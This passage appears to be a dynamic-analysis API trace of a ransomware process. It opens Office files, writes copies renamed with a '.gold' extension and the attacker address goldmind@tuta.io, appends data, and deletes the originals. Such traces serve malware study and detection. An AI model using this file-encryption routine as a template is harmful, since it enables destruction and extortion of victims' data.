(lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0099.576] lstrlenW (lpString=".jpg") returned 4 [0099.577] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0099.577] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0099.577] lstrlenW (lpString="BHOINTL.DLL") returned 11 [0099.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0099.577] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=10104) returned 1 [0099.577] CloseHandle (hObject=0x364) returned 1 [0099.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll")) returned 0x20 [0099.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0099.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0099.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0099.578] lstrlenW (lpString=".doc") returned 4 [0099.578] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0099.578] lstrlenW (lpString=".docx") returned 5 [0099.578] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0099.578] lstrlenW (lpString=".pdf") returned 4 [0099.578] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0099.578] lstrlenW (lpString=".xls") returned 4 [0099.578] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0099.578] lstrlenW (lpString=".xlsx") returned 5 [0099.578] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0099.578] lstrlenW (lpString=".ppt") returned 4 [0099.578] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0099.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0099.578] lstrlenW (lpString=".zip") returned 4 [0099.578] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0099.578] lstrlenW (lpString=".rar") returned 4 [0099.578] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0099.578] lstrlenW (lpString=".bz2") returned 4 [0099.578] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0099.578] lstrlenW (lpString=".7z") returned 3 [0099.578] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0099.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0099.578] lstrlenW (lpString=".dbf") returned 4 [0099.578] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0099.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0099.578] lstrlenW (lpString=".1cd") returned 4 [0099.578] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0099.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0099.578] lstrlenW (lpString=".jpg") returned 4 [0099.578] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0099.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0099.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0099.578] lstrlenW (lpString=".doc") returned 4 [0099.578] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0099.578] lstrlenW (lpString=".docx") returned 5 [0099.578] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0099.578] lstrlenW (lpString=".pdf") returned 4 [0099.578] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0099.578] lstrlenW (lpString=".xls") returned 4 [0099.578] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0099.578] lstrlenW (lpString=".xlsx") returned 5 [0099.578] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0099.578] lstrlenW (lpString=".ppt") returned 4 [0099.578] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0099.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0099.578] lstrlenW (lpString=".zip") returned 4 [0099.578] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0099.578] lstrlenW (lpString=".rar") returned 4 [0099.578] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0099.578] lstrlenW (lpString=".bz2") returned 4 [0099.578] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0099.578] lstrlenW (lpString=".7z") returned 3 [0099.578] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0099.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0099.578] lstrlenW (lpString=".dbf") returned 4 [0099.579] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0099.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0099.579] lstrlenW (lpString=".1cd") returned 4 [0099.579] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0099.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0099.579] lstrlenW (lpString=".jpg") returned 4 [0099.579] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0099.579] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0099.579] lstrlenW (lpString="BSTORM.VSL") returned 10 [0099.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0099.580] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=45968) returned 1 [0099.580] CloseHandle (hObject=0x364) returned 1 [0099.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl")) returned 0x20 [0099.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0099.580] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.580] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0099.581] GetLastError () returned 0x0 [0099.581] ReadFile (in: hFile=0x364, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xb390, lpOverlapped=0x0) returned 1 [0099.583] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xb3a0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xb3a0, lpOverlapped=0x0) returned 1 [0099.584] ReadFile (in: hFile=0x364, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.584] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0099.584] SetEndOfFile (hFile=0x3a0) returned 1 [0099.584] CloseHandle (hObject=0x3a0) returned 1 [0099.584] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.584] SetEndOfFile (hFile=0x364) returned 1 [0099.586] CloseHandle (hObject=0x364) returned 1 [0099.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.587] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl")) returned 1 [0099.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0099.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0099.587] lstrlenW (lpString=".doc") returned 4 [0099.587] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0099.587] lstrlenW (lpString=".docx") returned 5 [0099.587] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1 [0099.587] lstrlenW (lpString=".pdf") returned 4 [0099.587] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0099.587] lstrlenW (lpString=".xls") returned 4 [0099.587] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0099.587] lstrlenW (lpString=".xlsx") returned 5 [0099.587] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1 [0099.587] lstrlenW (lpString=".ppt") returned 4 [0099.587] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0099.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0099.587] lstrlenW (lpString=".zip") returned 4 [0099.587] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0099.587] lstrlenW (lpString=".rar") returned 4 [0099.587] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0099.587] lstrlenW (lpString=".bz2") returned 4 [0099.587] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0099.587] lstrlenW (lpString=".7z") returned 3 [0099.587] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0099.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0099.587] lstrlenW (lpString=".dbf") returned 4 [0099.587] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0099.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0099.588] lstrlenW (lpString=".1cd") returned 4 [0099.588] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0099.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0099.588] lstrlenW (lpString=".jpg") returned 4 [0099.588] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0099.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0099.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0099.588] lstrlenW (lpString=".doc") returned 4 [0099.588] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0099.588] lstrlenW (lpString=".docx") returned 5 [0099.588] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1 [0099.588] lstrlenW (lpString=".pdf") returned 4 [0099.588] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0099.588] lstrlenW (lpString=".xls") returned 4 [0099.588] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0099.588] lstrlenW (lpString=".xlsx") returned 5 [0099.588] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1 [0099.588] lstrlenW (lpString=".ppt") returned 4 [0099.588] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0099.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0099.588] lstrlenW (lpString=".zip") returned 4 [0099.588] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0099.588] lstrlenW (lpString=".rar") returned 4 [0099.588] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0099.588] lstrlenW (lpString=".bz2") returned 4 [0099.588] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0099.588] lstrlenW (lpString=".7z") returned 3 [0099.588] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0099.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0099.588] lstrlenW (lpString=".dbf") returned 4 [0099.588] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0099.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0099.588] lstrlenW (lpString=".1cd") returned 4 [0099.588] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0099.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0099.588] lstrlenW (lpString=".jpg") returned 4 [0099.588] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0099.588] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0099.588] lstrlenW (lpString="CALEVENT.VRD") returned 12 [0099.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0099.589] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=2144) returned 1 [0099.589] CloseHandle (hObject=0x364) returned 1 [0099.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd")) returned 0x20 [0099.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0099.590] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.590] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0099.590] GetLastError () returned 0x0 [0099.590] ReadFile (in: hFile=0x364, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x860, lpOverlapped=0x0) returned 1 [0099.591] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x870, lpOverlapped=0x0) returned 1 [0099.592] ReadFile (in: hFile=0x364, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.592] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.592] SetEndOfFile (hFile=0x3a0) returned 1 [0099.592] CloseHandle (hObject=0x3a0) returned 1 [0099.592] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.592] SetEndOfFile (hFile=0x364) returned 1 [0099.594] CloseHandle (hObject=0x364) returned 1 [0099.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd")) returned 1 [0099.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0099.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0099.595] lstrlenW (lpString=".doc") returned 4 [0099.595] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0099.595] lstrlenW (lpString=".docx") returned 5 [0099.595] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0099.595] lstrlenW (lpString=".pdf") returned 4 [0099.595] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0099.595] lstrlenW (lpString=".xls") returned 4 [0099.595] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0099.595] lstrlenW (lpString=".xlsx") returned 5 [0099.595] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0099.595] lstrlenW (lpString=".ppt") returned 4 [0099.595] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0099.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0099.595] lstrlenW (lpString=".zip") returned 4 [0099.595] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0099.595] lstrlenW (lpString=".rar") returned 4 [0099.595] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0099.595] lstrlenW (lpString=".bz2") returned 4 [0099.595] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0099.595] lstrlenW (lpString=".7z") returned 3 [0099.595] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0099.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0099.595] lstrlenW (lpString=".dbf") returned 4 [0099.595] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0099.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0099.595] lstrlenW (lpString=".1cd") returned 4 [0099.595] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0099.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0099.595] lstrlenW (lpString=".jpg") returned 4 [0099.595] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0099.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0099.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0099.595] lstrlenW (lpString=".doc") returned 4 [0099.595] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0099.595] lstrlenW (lpString=".docx") returned 5 [0099.595] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0099.595] lstrlenW (lpString=".pdf") returned 4 [0099.595] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0099.595] lstrlenW (lpString=".xls") returned 4 [0099.595] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0099.595] lstrlenW (lpString=".xlsx") returned 5 [0099.595] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0099.595] lstrlenW (lpString=".ppt") returned 4 [0099.595] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0099.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0099.595] lstrlenW (lpString=".zip") returned 4 [0099.595] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0099.595] lstrlenW (lpString=".rar") returned 4 [0099.596] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0099.596] lstrlenW (lpString=".bz2") returned 4 [0099.596] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0099.596] lstrlenW (lpString=".7z") returned 3 [0099.596] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0099.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0099.596] lstrlenW (lpString=".dbf") returned 4 [0099.596] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0099.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0099.596] lstrlenW (lpString=".1cd") returned 4 [0099.596] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0099.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0099.596] lstrlenW (lpString=".jpg") returned 4 [0099.596] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0099.596] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0099.596] lstrlenW (lpString="CERTINTL.DLL") returned 12 [0099.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0099.596] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=12176) returned 1 [0099.596] CloseHandle (hObject=0x364) returned 1 [0099.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll")) returned 0x20 [0099.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0099.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0099.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0099.597] lstrlenW (lpString=".doc") returned 4 [0099.597] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0099.597] lstrlenW (lpString=".docx") returned 5 [0099.597] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0099.597] lstrlenW (lpString=".pdf") returned 4 [0099.597] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0099.597] lstrlenW (lpString=".xls") returned 4 [0099.597] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0099.597] lstrlenW (lpString=".xlsx") returned 5 [0099.597] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0099.597] lstrlenW (lpString=".ppt") returned 4 [0099.597] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0099.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0099.597] lstrlenW (lpString=".zip") returned 4 [0099.597] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0099.597] lstrlenW (lpString=".rar") returned 4 [0099.597] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0099.597] lstrlenW (lpString=".bz2") returned 4 [0099.597] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0099.597] lstrlenW (lpString=".7z") returned 3 [0099.597] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0099.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0099.597] lstrlenW (lpString=".dbf") returned 4 [0099.597] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0099.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0099.597] lstrlenW (lpString=".1cd") returned 4 [0099.597] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0099.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0099.597] lstrlenW (lpString=".jpg") returned 4 [0099.597] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0099.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0099.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0099.597] lstrlenW (lpString=".doc") returned 4 [0099.597] lstrcmpiW (lpString1=".doc", lpString2=".DLL") 